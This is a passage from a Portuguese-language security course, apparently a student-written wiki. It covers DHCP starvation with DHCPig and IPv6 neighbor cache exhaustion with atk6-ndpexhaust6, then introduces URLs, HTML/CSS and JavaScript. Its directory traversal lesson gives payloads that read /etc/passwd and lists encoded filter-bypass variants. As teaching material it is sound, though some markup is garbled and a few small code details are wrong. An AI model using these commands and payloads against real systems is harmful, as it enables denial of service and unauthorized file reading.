OBS: Se você quiser saber mais sobre HTTP ou HTTPS, leia a [Aula 4: SSL/TLS, HTTP/HTTPS e HSTS](https://hackmd.io/ssK5SvdFTTWNXeYR8kyHTw?both#Aula-4-SSLTLS-HTTPHTTPS-e-HSTS).

#### Na prática

Para realizar o ataque, vamos usar o **DHCPig**. Para rodar o DHCPig é preciso ter instalado o **Python 2**, **Pip** e a biblioteca **Scapy** para o Python 2. Um problema conhecido é que a versão mais recente do Scapy para o Python 2 não funciona com o DHCPig. Então, é preciso instalar a versão `2.3.3`:

```
$ pip2 install scapy==2.3.3
```

Clonamos o respositório do GitHub do DHCPig e entramos nele:

```
$ git clone https://github.com/kamorin/DHCPig.git
$ cd DHCPig
```

Finalmente, rodamos o programa:

```
$ sudo python2 pig.py <IP do servidor DHCP>
```

#### Materiais adicionais

* [RFC 2131 (DHCP)](https://tools.ietf.org/html/rfc2131)
* [RFC 2132 (adição ao DHCP)](https://tools.ietf.org/html/rfc2132)
* [RFC 951 (BOOTP)](https://tools.ietf.org/html/rfc951)
* [DHCPig (GitHub)](https://github.com/kamorin/DHCPig)

## Aula 9: IPv6 Neighbor Cache Exhaustion

## Aula 10: IPv6 Neighbor Cache Exhaustion

### IPv6 Subnetting

### NDP: Neighbor Discovery Protocol

### Neighbor Cache

```
sudo atk6-ndpexhaust6 <dev> <link-address>
```

#### Referências

* [Blog post](https://insinuator.net/2013/03/ipv6-neighbor-cache-exhaustion-attacks-risk-assessment-mitigation-strategies-part-1/)
* ["Classic Paper"](http://inconcepts.biz/~jsw/IPv6_NDP_Exhaustion.pdf)
* [Mitigation techniques](https://tools.ietf.org/html/rfc6583)
* [RFC 6583](https://tools.ietf.org/html/rfc6583)
* [THC-IPv6 Tools](https://github.com/vanhauser-thc/thc-ipv6)
* [RFC 4861: Neighbor Discovery Protocol](https://tools.ietf.org/html/rfc4861#section-7.3.2)
* [RFC 5157](https://tools.ietf.org/html/rfc5157)
* [Código do NDPExhaust](https://github.com/vanhauser-thc/thc-ipv6/blob/master/ndpexhaust26.c)
* [Código do Ndisc (Kernel do Linux)](https://github.com/torvalds/linux/blob/master/net/ipv6/ndisc.c)

## Aula ?: Packet capturing, APs e servidores -- Montando ambientes de teste

* Hostapd
* Nginx
* goloris
* Wireshark

## Aula ?: Redes Peer-to-Peer (Matrix, BitTorrent, Kademlia, IPFS)

## Aula ?: Virtual Private Network: Conceitos básicos, funcionamento, segurança e exemplos com Wireguard


# Web


# Semana 1

## Sumário - Aulas Semana 1

### Conceitos iniciais:

* [Introduoção à Web (e arquitetura de uma aplicação Web)](/web/semana-1/01_introducao_a_web)

### Estrutura do front-end de uma página Web:

* [Introdução ao HTML e ao CSS](/web/semana-1/03_html_css)
* [Introdução ao Javascript](/web/semana-1/05_javascript)

### Comunicação na Web:

* [Entendendo as URLs](/web/semana-1/02_urls)
* [Protocolo HTTP](/web/semana-1/protocolo_http)
* [Protocolo HTTPS](/web/semana-1/protocolo_https)
* [Cookies e sessões](/web/semana-1/11_cookies_e_sessoes)

### Algumas vulnerabilidades:

* [Directory Traversal](/web/semana-1/04_directory_traversal)
* [Cross Site Scripting (XSS)](/web/semana-1/06_xss)
* [XML External Entities (XML) Injection](/web/semana-1/xxe)

#### Autores do material:

* [Marcus Vinícius Castelo Branco](https://github.com/marcuscastelo)
* [Pedro Guerra Lourenço](https://github.com/Haltz01)
* Adicionar autores que ajudaram em 2021!


# Introdução à Web

## Internet e Web

Imagine que a Internet é uma imensa loja de livros e a Web é uma coleção de livros presente nessa loja...

De forma simples, a Internet é uma rede (global) de redes que conecta milhões de dispositivos através de: email eletrônico, compartilhamento de arquivos (via FTP), jogos online, aplicativos mobile, páginas web etc.

Já a Web (World Wide Web) representa um conjunto de informações acessadas via Internet por meio de *hyperlinks* - referenciando URIs ([Uniform Resource Identifier](https://en.wikipedia.org/wiki/Uniform_Resource_Identifier)). Ou seja, a Web é uma das redes presente na Internet. Os recursos presentes na Web são normalmente acessados por meio de navegadores (Chrome, Firefox, Safari etc.), fazendo uso do protocolo HTTP ou HTTPS.

Os recursos na Web costumam ser apresentados na forma de *web pages* - que formam *websites*. Essas páginas são criadas e estilizadas por meio de linguagens como HTML, CSS e Javascript - sendo possível utilizar também outras, como PHP e Python.

## A Arquitetura

![Arquitetura de um web app](https://1857820393-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M2BqbbxnmfvPTRrxNQc%2Fsync%2Fd751a7f7aaeadb4136fbece36c4a33b35b9e15c0.png?generation=1588565861244602\&alt=media)

Em uma aplicação Web, há dois tipos de "sub-programas", um *client-side* e outro *server-side*. O código *client-side* (HTML, CSS e Javascript) é o que está na página do navegador e que interage diretamente com as entradas do usuário. Já o código *server-side* está em um servidor e responde às requisições HTTP que chegam até ele. Para o código *server-side*, pode-se utilizar C#, Java, Javascript, Python, PHP, Ruby e mais - basicamente, qualquer linguagem que entenda e responda requisições HTTP.

### Componentes estruturais

Esses componentes são responsáveis pela funcionalidade da aplicação web (com a qual o usuário interage) e pelo controle, tratamento e armazenamento dos dados passados ao servidor.

Esses componentes englobam:

* Páginas web + navegador (*browser*) -> *client-side*
* Servidor da aplicação web -> *server-side*
* Servidor do banco de dados -> *server-side*

  *Obs.: o servidor da aplicação e do banco de dados podem ser a mesma máquina.*:w

#### Navegador e páginas web

O navegador recebe e processa o código das páginas web, geralmente desenvolvidas usando HTML, CSS e Javascript, e então mostrar o resultado para o usuário e permitir que ele interaja com a página já pronta.

#### Servidor da aplicação Web

O servidor da aplicação é responsável por: tratar as requisições que chegam dos clientes, "chamar" APIs, fazer requisições para bancos de dados e enviar respostas aos clientes (na forma de páginas Web, arquivos, JSONs etc.). Esse servidor pode ser desenvolvido em Node.js, PHP, Python, Java, .NET, Ruby...

#### Servidor do banco de dados

O banco de dados é responsável por armazenar dados - como informações de login de usuários ou itens de uma loja - no *server-side* de forma persistente. Além de armazenar esses dados, ele é capaz de fazer buscas e retornar informações para que o servidor da aplicação Web utilize e possivelmente devolva ao cliente.

### Entendendo o "fluxo" de informação do front-end

Primeiramente, ao digitar a URL de um site, o navegador deve convertê-la em um endereço IP. Esse processo é chamado de "name resolution" e é realizado através de um DNS (Domain Name System), que faz a associação `hostname da URL:endereço IP`.

Em seguida, o navegador fará uma requisição para o servidor para o qual o endereço IP encontrado no primeiro passo aponta. Essa requisição, em geral, será um `GET`, solicitando a página web especificada na URL, ou um `POST`, enviando dados que serão usados pelo *back-end* do servidor.

Como resposta, o servidor (*back-end*) enviará arquivos e informações do tipo HTML, CSS, JS, PHP, JSON, JPG e, possivelmente, outros. Esses arquivos são tratados pelo navegador, que é responsável por exibi-los ao usuário, e pelo código da página web presente no *front-end*. Além disso, podem haver *headers* importantes nesses arquivos, contendo, por exemplo, informações sobre a sessão atual.

Vale destacar que o sistema operacional do cliente é responsável por fazer as requisições "saírem" do navegador em direção à Internet e por recuperar as respostas vindas do servidor (pela Internet). O sistema operacional expõe o computador à rede por meio de portas, que permitem a troca de informação via certos protocolos, como o HTTP (comumente porta 80) e o HTTPS (comumente porta 443).


# Entendendo as URLs

## URLs

## Entendendo as URLs

URL é a sigla para “Uniform Resource Locator”. Cada URL aponta para algum conteúdo único na Web (como uma página web, um documento CSS, uma imagem etc.) - desde que a URL seja válida, claro.

### Estrutura das URLs

Toda URL segue a seguinte estrutura: **`Protocolo` + `Domínio` (+ `Porta`) + `Caminho até arquivo/recurso`** Ex.: **\[**<https://www.example.com:443/path/to/resource.html](urls.md\\>**)**

A porta costuma estar omitida. Nesses casos, o browser considera que serão utilizadas portas padrões de acordo com o tipo de protocolo (ex.: HTTP: 80, HTTPS: 443).

Além disso, é possível que a URL também contenha parâmetros que serão passados para o servidor - que seguem a forma: `param1=teste&param2=123` - e tags que identificam certo ponto de um documento HTML - vêm ao final da URL, após `#`. Ex.: \[<https://www.example.com:3000/file_path/resource?user=admin&passwd=1234#anchor](urls.md\\>)\</a>

URL Structure

!\[<https://media.gcflearnfree.org/content/55784768317faa316096bef2_06_10_2015/fullurlending_image2.png](https://media.gcflearnfree.org/content/55784768317faa316096bef2_06_10_2015/fullurlending_image2.png\\>)

#### Protocolo (Scheme)

**https\://** [www.example.com:3000/file\\\_path/resource?user=admin\\\&passwd=1234#anchor](http://www.example.com:3000/file\\_path/resource?user=admin\\\&passwd=1234#anchor)

Define o tipo de protocolo que será usado na comunicação entre o navegador e o servidor, ou seja, como os dados serão enviados e recebidos. Alguns deles (os que mais aparecem) são: 1. **http\://** (Hypertext Transfer Protocol) 2. **https\://** (Hypertext Transfer Protocol Secure) 3. **file://** (indica um arquivo local - no seu HD ou compartilhado em LAN) 4. **ftp\://** (File Transfer Protocol)

#### Domínio (Host Name)

\[https\:// **[www.example.com](http://www.example.com)** :3000/file\_path/resource?user=admin\&passwd=1234#anchor]\(urls.md)

Representa aonde o website pode ser encontrado. Ele pode ser tanto o endereço IP do servidor (IPv4: 32 bits ou IPv6: 128 bits) quanto um nome de domínio mais “human-friendly”. O Google, por exemplo pode ser acessado por `www.google.com` ou por `216.58.205.46` (IPv4 do Google). No primeiro caso, servidores DNS convertem `www.google.com` em `216.58.205.46`, pois só assim ele será encontrado na rede.

#### Porta

\[<https://www.example.com> **:3000** /file\_path/resource?user=admin\&passwd=1234#anchor]\(urls.md)

É o número da porta do servidor Web. Representa em que porta da máquina está “rodando” o recurso buscado. Uma mesma máquina (ou servidor) pode rodar diversos serviços em diferentes portas. Por padrão, a porta do protocolo HTTP é 80 e a do protocolo HTTPS é 443, então quando se usa estes protocolos, muitas vezes não é preciso evidenciar a porta pois ela já está implicita.

#### Caminho até o arquivo/recurso

\[<https://www.example.com:3000> **/file\_path/resource** ?user=admin\&passwd=1234#anchor]\(urls.md)

Representa o caminho dentro do servidor até o recurso buscado. Ele começa sempre com um “forward slash” (`/`) e pode passar por diversas “pastas” - todas separadas por `/` ao descrever o caminho. Por fim, tem-se o nome do recurso procurado. Por exemplo: em `www.teste.com/2019/usuarios/usuario_1.html`, buscamos a página `usuario_1.html`, que está dentro de `usuarios` que está dentro de `2019`. A palavra “pasta” está entre aspas porque, atualmente, esse caminho **não necessariamente** representa uma sequência de pastas que existe no servidor. Frequentemente, isso é só uma abstração criada para ajudar no server-side.

Obs.: No caso desse caminho ser uma sequência de pastas, as vezes é possível voltar para pastas externas da mesma forma que fazemos em sistemas UNIX ou no próprio Windows:

```
www.sitebemvulneravelmesmo.com/../../../../../etc/passwd
```

Se não há medidas de preucaução, o uso de (`../`) deixa a página possivelmente vulnerável a **Directory Transversal**.

#### Parâmetros de requisição (Query Strings)

\[<https://www.example.com:3000/file_path/resource> **?user=admin\&passwd=1234** #anchor]\(urls.md)

Esses parâmetros são informações que serão passadas ao servidor. Eles vem na forma chave-valor: `nome_parametro=valor`. Caso haja mais de um parâmetro, usa-se como separador o `&`. Na URL, os parâmetros vêm após um ponto de interrogação (`?`).

#### “Âncoras” (Fragment identifiers)

\[<https://www.example.com:3000/file_path/resource?user=admin&passwd=1234> **#anchor**]\(urls.md)

Esse elementos da URL é utilizado para indicar um ponto específico na página para o qual o navegador deve ir imediatamente. Esse identificador pode apontar para um elemento no HTML (como um `<a name="anchor_reference_name">`) ou para um momento específico de um vídeo/aúdio. Esses identificadores não são enviados para o servidor em requisições.

### URL Encoding

Existem caractéres chamados de reservados, os quais têm algum significado especial nas URLs. A barra (`/`), por exemplo, separa elementos na URL (como o caminho até o recurso buscado). De forma similar, existem caractéres considerados inseguros, os quais, apesar de não terem significado especial nas URLs, podem significar algo no contexto em que a URL está escrita (ex.: dentro de um elemento HTML, em trechos de código Javascript/PHP etc.) - é o caso das aspas duplas (`"`). O tratamento incorreto/descuidado desses elementos pode levar a brechas de segurança.

Em ambos os casos, a saída para utilizar esses caractéres sem confundir o browser (ou às vezes querendo confundí-lo) é encodá-los. Para isso serve URL Enconding. A barra, por exemplo, torna-se `%2F` e as aspas duplas tornam-se `%22`. Em geral, os caractéres encodados seguem a forma: `%` + `número em hexadecimal` (dois digitos para UTF-8).

Apesar de isso ser utilizado para esses caractéres “especiais”, muitos outros podem ser encodados, como podemos ver \[nessas tabelas]\(<https://www.tutorialspoint.com/html/html_url_encoding.htm\\>).


# Introdução ao HTML e ao CSS

## HTML e CSS:

### HTML:

HTML significa HyperText Markup Language → Não é uma linguagem de programação, mas sim uma linguagem de marcação, utilizada para que navegadores (chrome, firefox, Explorer, opera) interpretem suas marcações e transforme na página que será visualizada.

#### DOM → Document Object Model

Basicamente a estruturação de documentos Web (o padrão de formato).

Estruturado em 3 partes principais: Doctype, Head, Body

#### TERMOS COMUNS EM HTML

* ELEMENTS

Designações. Definem a estrutura e o conteúdo em uma página.

Identificados entre "<" e ">"

Exemplo:&#x20;

* TAGS

A utilização dos símbolos "<" e ">" ao redor do elemento criam a tag.

As tags mais comuns são abertas e fechadas em pares.

```markup
<div>
Temos acima a abertura da tag div (divisão) e abaixo o fechamento da tag.
</div>
```

* ATRIBUTOS

Propriedades que providenciam maiores informações acerca do elemento.

```markup
<a href="http://sitequalquer.com">Clique aqui para acessar um site qualquer</a>
     |-----> atributo da tag 'a' (âncora)
```

### ESTRUTURAÇÃO DO HTML

```markup
<!DOCTYPE html>
<html lang="pt-br">
    <head>
        <meta charset="UTF-8">
        <title> Hello, World!</title>
    </head>
    <body>
        <h1> Hello, my World!</h1>
        <p>Isso vai aparecer no site.</p>
    </body>
</html>
```

### SEMÂNTICA

Prática de fornecer conteúdo, sentido e estrutura, utilizando o elementos ideais para cada caso.

Desconsidera questões visuais, avaliando a estrutura semântica da página por meio de seus elementos.

### ARQUITETURA DE UM HTML

![arch-html](https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fc0dcde4c-7f66-4a8d-b820-4b70ae285c88%2Farch-html.png?table=block\&id=6a7acac2-819f-4e9a-8684-9af2b8f90dac\&width=770\&userId=6b906191-3739-42ff-bcbd-5448632e5695\&cache=v2)

Outro elemento importante é o nav:

```markup
<nav>
Utilizado aqui para navegar entre as informações do site, do servidor, etc.
</nav>
```

### CSS:

CSS significa Cascading Style Sheets.

Utilizado em conjunto com as outras linguagens HTML e JS, conferindo um conjunto de estilos como propriedades de cada elemento desejado na página HTML.

### TERMOS COMUNS EM CSS

* SELETOR

Seleciona qual elemento (s) está sofrendo alteração em seu estilo.

Pode sofrer especificações, identificando elementos específicos elementos específicos (id, nomes, classes).

* PROPRIEDADES

Estilos adicionados ao elemento selecionado

* VALOR

Comportamento da propriedade

```css
|--> SELETOR
p {
    |--> PROPRIEDADE
    color : orange;
    font-size : 12px;
                  |-->VALOR
}
```

### REFINANDO OS SELETORES

* TYPE

Seleção por tipo do elemento

```css
div {...}
Todo elemento com tag <div>
```

* CLASSE

Selecionamos elementos a partir de sua classe

```css
div.suaclasse { ... }
.suaclase { ... }
```

Exemplo 1: elementos com tag  e classe "suaclasse".

Exemplo 2: elementos de qualquer tag, com classe "suaclasse".

OBS .: podemos determinam um objeto no HTML com várias classes, de modo a modularizar a escolha de estilo:

```markup
<a class="btn btn-danger">...</a>
<a class="btn btn-success">...</a>
```

Neste caso, temos uma classe comum (btn), na qual a fonte de tamanho 16 pixels será padrão. Depois temos 2 especificações de modo a individualizar as outras 2 "sub-classes"

```css
.btn {
  font-size: 16px;
}
.btn-danger {
  background: red;
}
.btn-success {
  background: green;
}
```

* ID

Selecionamos, especificamente, um elemento a partir do seu ID.

```css
div#seuID { ... }
#seuID { ... }
```

Exemplo 1: elemento com tag  e id "seuID".

Exemplo 2: elemento de qualquer tag, com id "seuID".

### REFERENCIANDO O CSS NO HTML

Dentro do HTML

```markup
<head>
    <link rel="stylesheet" href="main.css">
</head>
```

## Referência:

* [Web Development](https://www.notion.so/WEB-DEVELOPMENT-5ea22e21aa9f47758e9cbecb2711a92c)


# Directory Traversal

## O que é "Directory traversal"?

Directory traversal é uma vulnerabilidade em que o atacante consegue acesso a arquivos arbitrários do server que está rodando um programa. Então, nesta vulnerabilidade é possível acessar documentos do diretório raíz.

![https://upload.wikimedia.org/wikipedia/commons/d/df/Directory\_traversal.png](https://upload.wikimedia.org/wikipedia/commons/d/df/Directory_traversal.png)

## Lendo arquivos com directory traversal:

Para carregar uma imagem em uma página web, pode ser usado HTML:

```markup
<img src="loadImage?filename=ganesh.png">
```

É possível ver que há um parâmetro *filename*, que é o nome do documento da imagem que será mostrada na página.

Para acessar a imagem, o programa percorre um caminho até a imagem, um exemplo seria:

```jsx
*/var/www/images/ganesh.png*
```

Caso não haja medidas de defesa contra esta vulnerabilidade, alguém mal intencionado pode requisitar outros arquivos da seguinte forma:

```jsx
[https://icmc.com.br/loadImage?filename=../../../etc/passwd](https://insecure-website.com/loadImage?filename=../../../etc/passwd)
```

Com esta requisição, ao invés de seguir o caminho anterior, a máquina seguirá o seguinte caminho:

```jsx
/var/www/images/../../../etc/passwd
```

Assim como no terminal, (`../`) indica que a máquina acessará o diretório pai ao atual, e por ter três (`../`), o computador acessará a root, e o que realmente é lido é:

```jsx
/etc/passwd
```

Esta localização acima, em sistemas operacionais baseados em Unix, contém informações privadas do usuário, por isso o exemplo contém estes nomes.

No Windows, pode ser usado tanto (`../`) quanto (`..\`) e ao invés de `/etc/passwd` seria `\windows\win.ini`

## Obstáculos contra essa vulnerabilidade

* **Bloqueio de directory traversal sequences**:
  * Para evitar a vulnerabilidade, a página pode bloquear sequencias de (`../`), então duas coisas podem ser feitas:
    * Ao invés de usar (`../`), usar (`....//`), pois é equivalente ao anterior e dependendo do filtro, conseguiria passar por ele (Ex: \[<https://icmc.com.br/loadImage?filename=](https://insecure-website.com/loadImage?filename=../../../etc/passwd)....//....//....//etc/passwd> );
    * testar se é possível usar o caminho absoluto, desde a root (Ex: \[<https://icmc.com.br/loadImage?filename=](https://insecure-website.com/loadImage?filename=../../../etc/passwd)/etc/passwd\\>);
* **Bloqueio de chars ou URL-encoding:**

  Alguns caracteres podem ser limitados por filtros, para impedir a exploração desta vulnerabilidade, porém é possível burlar estes filtros com versões codificadas dos caracteres proibidos:

  **Encoding and double encoding:**

  * `%2e%2e%2f` representa `../`;
  * `%2e%2e/` representa `../`;
  * `..%2f` representa `../`;
  * `%2e%2e%5c` representa `..\`;
  * `%2e%2e\` representa `..\`;
  * `..%5c` representa `..\`;
  * `%252e%252e%255c` representa `..\`;
  * `..%255c` representa `..\`;

    Entre outros exemplos;

    **URL encoding:**
  * `..%c0%af` representa `../`;
  * `..%c1%9c` represents `..\`;

    **Referências:**

    [What is directory traversal, and how to prevent it? | Web Security Academy](https://portswigger.net/web-security/file-path-traversal)

    [Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)


# Introdução ao Javascript

## Visão Geral

Javascript (ou ECMAScript) é uma linguagem de programção muito utilizada no desenvolvimento Web. Com ela, é possível programar o comportamento das páginas HTML - alterar conteúdo e atributos HTML, CSS e mais.

O JavaScript nasceu como uma linguagem voltada para processamento no navegador. Entretanto, com a chegada do Node.js, que permite a execução de Javascript fora do navegador, *back-ends* de websites e aplicações feitas majoritariamente em Javascript (como o Discord) também passaram a utilizar amplamente a linguagem.

Praticamente todas as páginas na internet usam Javascript para fazer operações *client-side*, como verificação de campos, envio de formulários, gerenciamento de cookies, solicitações de informações para o servidor etc.

```markup
<!DOCTYPE html>
<html>
    <body>
        <p id="teste">JavaScript pode mudar conteúdo HTML </p>
        <button type="button" onclick='document.getElementById("teste").innerHTML = "Viu? Modificado!"'> Ao clicar aqui, o texto do parágrafo irá mudar! </button>
    </body>
</html>
```

### Engines

Uma Engine Javascript ou Interpretador Javascript é um programa especializado em ler e processar código Javascript, todos os mais populares navegadores modernos utilizam interpretadores mas a engine especifica depende de qual navegador está sendo utilizadas, sendo possivel que diferentes interpretadores entendam código de formas diferentes. Alguns exemplos de engines e navegadores diferentes são:

| Engine                                                                 | Navegador             |
| ---------------------------------------------------------------------- | --------------------- |
| \[V8]\(<https://en.wikipedia.org/wiki/V8_(JavaScript_engine>))         | Google Chrome e Opera |
| [SpiderMonkey](https://en.wikipedia.org/wiki/SpiderMonkey)             | FireFox               |
| \[Chakra]\(<https://en.wikipedia.org/wiki/Chakra_(JavaScript_engine>)) | Internet Explorer     |
| [WebKit](https://en.wikipedia.org/wiki/WebKit)                         | Safari                |

Por consequência é importante sempre verificar quais features são tem suporte em quais engines, para isso você pode verificar em tabelas de compatibilidade:

* <https://caniuse.com/>
* <https://kangax.github.io/compat-table/es6/>

É importante lembrar que mesmo navegadores sendo o principal uso de Engines qualquer software que precisa processar Javascript utiliza uma engine de forma ou outra.

## Estrutura e sintaxe do JS

### Script interno e externo

O código Javascript pode estar dentro ou fora de um documento HTML. Em ambos os casos, o Javascript fica dentro de uma tag `<script></script>`.

* Externo:

  ```markup
  <!DOCTYPE html>
  <html>
    <head>
        <script src="/caminho/ate/arquivo/myScript.js"></script>
        <script src="https://www.sitecomscripttop.com/myScript.js"></script>
    </head>
    <body>
        <h1> Olá </h1>
    </body>
  </html>
  ```
* Interno (no HEAD):

  ```markup
  <!DOCTYPE html>
  <html>
    <head>
        <script>
            function myFunction() {
              document.getElementById("para1").innerHTML = "Parágrafo modificado";
            }
        </script>
    </head>
    <body>
        <h1> Página de teste </h1>
        <p id="para1"> Um parágrafo </p>
        <button type="button" onclick="myFunction()"> Mudar parágrafo </button>
    </body>
  </html>
  ```

### Comentários

Você pode adicionar comentários no seu código para mante-lo organizado sem afetar a execução, comentários são linhas de codigo que são ignoradas pelo interpretador.

* Utilizando duas barras você comenta até o fim da linha

```javascript
// Essa linha está comentada

let variavel = "valor"; // Metade da linha está comentada
```

* Utilizando uma barra e um asterisco você pode comentar multiplas linhas de código

```javascript
/* 
  Esse é um comentário multilinha
  Tudo aqui está comentado
*/
```

### Variáveis e constantes

**Variáveis** são usadas para armazenar dados que podem ser modificados a qualquer momento. Em JS, as variáveis são declaradas com `var` ou `let`e elas podem ser praticamente qualquer coisa: números, palavras, funções etc.

Ao usar `var`, se a variável for declarada fora de uma função, ela poderá ser acessada de qualquer ponto do código (dentro e fora de funções), ou seja, ela é de *scope* global. Caso a variável seja declarada dentro de uma função, ela só poderá ser acessada de dentro dessa função. Esse tipo de variável pode ser redeclarado - além de atualizado - no meio do código.

```javascript
    var msg_introdutoria = 0.5; // declara a variável e atribui um real (float) a ela
    var msg_introdutoria = "Olá mundo!"; // redeclara a variável e atribui uma string a ela
    var contador = 0; // declara uma variável e atribui um inteiro (int) a ela

    console.log(msg_introdutoria); // exibirá "Olá mundo!"

    if (contador <= 0) {
        // bloco de código do IF
        var msg_introdutoria = "Oi mundo!";  // atualiza o valor da variável
    }

    console.log(msg_introdutoria) // exibirá "Oi mundo!"
```

Já ao usar `let`, a variável sempre será *block scoped*, ou seja, ela está limitada ao bloco de código em que foi declarada (e aos blocos mais internos a ela). Um bloco é definido por chaves (`fora do bloco { dentro do bloco } fora do bloco`). Além disso, variáveis declaradas com *let* não podem ser redeclaradas (mas podem ser atualizadas).

```javascript
    let msg_introdutoria = "Olá mundo!";
    let contador = 4;

   if (contador > 3) {
        let msg_introdutoria_2 = "Oi mundo!";

        console.log(msg_introdutoria); // "Olá mundo!"
        console.log(msg_introdutoria_2); // "Oi mundo!"
    }
    console.log(msg_introdutoria); // "Olá mundo!"
    console.log(msg_introdutoria_2); // msg_introdutoria_2 não está definida
```

**Constantes** também são usadas para armazenar dados, mas elas não podem ser modificadas durante a execução do programa. Uma vez declaradas com certo valor, elas não podem ser alteradas. Além disso, constantes são *block scoped* e não podem ser redeclaradas (nem alteradas - como foi dito logo acima).

```javascript
    const saudacao = "Olá!";
    saudacao = "Oi!"; // Erro: (re)atribuição à constante

    // OBS.: se a constante for um objeto é possível fazer certas alterações:
    const saudacao2 = { // objeto com mais de um campo
        msg : "Olá!",
        countador : 3
    };

    saudacao2.msg = "Oi!"; // Isso é permitido! O campo msg é atualizado!

    const saudacao2 = {
        teste : "Aaaa",
        nome : "Marcelo Batata"
    }; // isso não é permitido! ERRO!!
```

### Operadores e comparadores

* **Operadores aritméticos**: são os operadores que realizam operações aritméticas em números (e variáveis com valores numéricos). Entretanto, em certos casos, é possível usar esses operadores com outros tipos de variáveis, como no caso de "soma" de strings (`"Nome " + "Sobrenome" -> "Nome Sobrenome"`).

| Operador aritmético |     Operação    |             Exemplo            |
| :-----------------: | :-------------: | :----------------------------: |
|          +          |      Adição     |    `let x = 1 + 2; // x = 3`   |
|          -          |    Subtração    |   `let x = 5 - 7; // x = -2`   |
|          \*         |  Multiplicação  | `let x = 3 * 5.2; // x = 15.6` |
|          /          |     Divisão     |    `let x = 6 / 2; // x = 3`   |
|         \*\*        |   Pontenciação  |    `let x = 2**3; // x = 8`    |
|          %          |  Módulo (resto) |   `let x = 10 % 3; // x = 1`   |
|          ++         | Incremento (+1) |   `let x = 1; x++; // x = 2`   |
|          --         | Decremento (-1) |   `let x = 1/ x--; // x = 0`   |

> **Operações matematicas são "seguras" no JavaScript** isso significa que você pode fazer qualquer conta e não vai gerar um erro fatal que mata o programa, no máximo retornando *NaN* (Not-a-Number), um valor númerico que não existe.

* **Comparadores**:

| Comparador |                  Compração                 |       Exemplo       |
| :--------: | :----------------------------------------: | :-----------------: |
|     ==     |             Igual a (em valor)             |  `1 == 1.0 (true)`  |
|     ===    |          Igual a (em valor e tipo)         | `1 === 1.0 (false)` |
|     !=     |         Diferente de ("não igual")         |  `1 != 1.0 (false)` |
|    !===    | Diferente de ("não igual" em valor e tipo) |  `1 !== 1.0 (true)` |
|      >     |                  Maior que                 |   `10 > 2 (true)`   |
|      <     |                  Menor que                 |    `1 < 2 (true)`   |
|     >=     |             Maior ou igual que             |   `5 >= 5 (true)`   |
|     <=     |             Menor ou igual que             |   `4 <= 3 (false)`  |

* Ainda há os **comparadores lógicos**. São eles:
  * `&&` (and): `(2 < 10 && 0 > 1)` --> verdade **E** mentira é **mentira**
  * `||` (or): `(5 == 5 || 3 == 5)` --> verdade **OU** mentira é **verdade**
  * `!` (not): `!(1 == 1)` --> **NÃO** verdade é **mentira**
* E, por último, também é importante conhecer o **comparador ternário**, que atua como um comparador IF:

```javascript
// Comparador ternário: 
// variablename = (condition) ? value1 : value2;
var voteable = (age < 18) ? "Too young" : "Old enough";

// Isso é igual a:
if (age < 18) {
  voteable = "Too young";
} else {
  voteable = "Old Enough";
}
```

### Tipos de dados

De forma simplificada, podemos resumir os tipos de dados em primitivos e complexos. Os **tipos primitivos** são:

* *string* (basicamente, caractéres e palavras - sempre entre aspas).
* *boolean* (verdadeiro ou falso).
* *number* (número inteiro, real).
* *undefined* (variáveis sem valor definido).

Já os **tipos complexos** são:

* *object* (listas, JSON, XML, vetores, dados inexistentes etc.).
* *function* (funções).

```javascript
typeof "" // String
typeof "Marcelo Batata" // String

typeof 3 // Number
typeof 3.14 // Number
typeof (3 + 4) // Number

var x; // Declarada, mas sem valor atribuído
typeof x // Undefined

typeof true // Boolean
typeof false // Boolean

typeof { name:'John', age:34 } // Object
typeof [1, 2, 3, 4] // Object
typeof null // Object

typeof function myFunc(){ console.log("Testing..."); } // Function
```

Obs.: Ainda há **null**, que é similar ao *undefined*, mas seu tipo é objeto, Por mais contraditório que isso seja, esse objeto *null* represta um dado que não existe.

```javascript
typeof undefined // retorna undefined
typeof null // retorna object

null === undefined // retorna false
null == undefined // retorna true (loose comparison)
```

### Funções

Funções são blocos de códigos que executam uma tarefa. Algo deve invocar a função para ela ser executada (ela precisa de algum "gatilho", nem que seja outra parte do código "chamando" ela - ou até ela própria se invocando). Ou seja, a execução do código dentro da função ocorre quando:

* Um evento ocorre (ex.: usuário pressiona um botão);
* A função é invocada por outro trecho de código Javascript;
* A própria função invoca-se e é executada automaticamente.

#### Sintaxe

```javascript
function nome_funcao(parametro1, parametro2, parametro3) {
  // código a ser executado quando a função for chamada
  console.log("A função foi executada!");

  return {"mensagem" : "OK"};
}

// --- Outra alternativa, em certos casos, é a "Arrow Function": ---
// O trecho abaixo pode ser escrito de forma mais concisa
var multiplicacao = function(x, y) {
  return x * y;
};
// Arrow function: (param1, param2, paramN) => { expressão / bloco da função }
const multiplicacao2 = (x, y) => { return x * y };
```

### Exemplo comentado

Para ajudar no entendimento da sintaxe da linguagem é bom analisar um trecho de código comentado.

```javascript
// o bloco de código da função 'requisitarDadosPessoais()' começa aqui e quando ela for chamada, tudo que está aqui dentro será executado (linha por linha, de cima para baixo)
// userID é um parâmetro que deve ser passado ao chamar essa função. userId funciona como uma varíavel
async function requisitarDadosPessoais(userID) { 
    // a variável 'dados' recebe o retorno da função 'httprequest', ou seja, o que essa função trouxer como resposta sera guardado em 'dados'
    var dados = await httprequest(`http://site-exemplo.com/usuarios/${userID}`); // a função é executada e em seguida sua resposta é armazenada em 'dados'

    if (!dados) { // se 'dados' estiver vazio (for nulo), a condição é verdade e o código dentro desse bloco (delimitado por chaves) é executado
        alert(`O usuário ${userID} não existe!`); // emite um alerta na tela avisando que o usuário com o nome armazenado em 'userID' não existe
        return null; // a função 'requisitarDadosPessoais()' termina aqui e retorna o valor 'null' (nulo)
    } // fim do bloco de código referente ao 'if'

    if (dados.sucesso == true){ // 'dados' é um objeto com vários campos (atua como um JSON) e ele tem um parâmetro 'sucesso'. Se 'sucesso' for igual 'true', a condição é satisfeita e o código dentro desse bloco é executado
        alert(`Bem vindo, ${dados.nome}, faz ${dados.tempoDesdeUltimoLogin} horas que você conectou pela última vez`); // emite uma mensagem de boas-vindas na tela, fazendo uso de outros parâmetros dentro de 'dados' ('nome' e 'tempoDesdeUltimoLogin')
        redirecionar_usuario('http://site-exemplo.com/profile/${userID}', dados.cookies); // Executado uma função chamada 'redirecionar_usuario()' que está em outra parte do arquivo Javascript
    } // fim do bloco de código referente ao 'if'
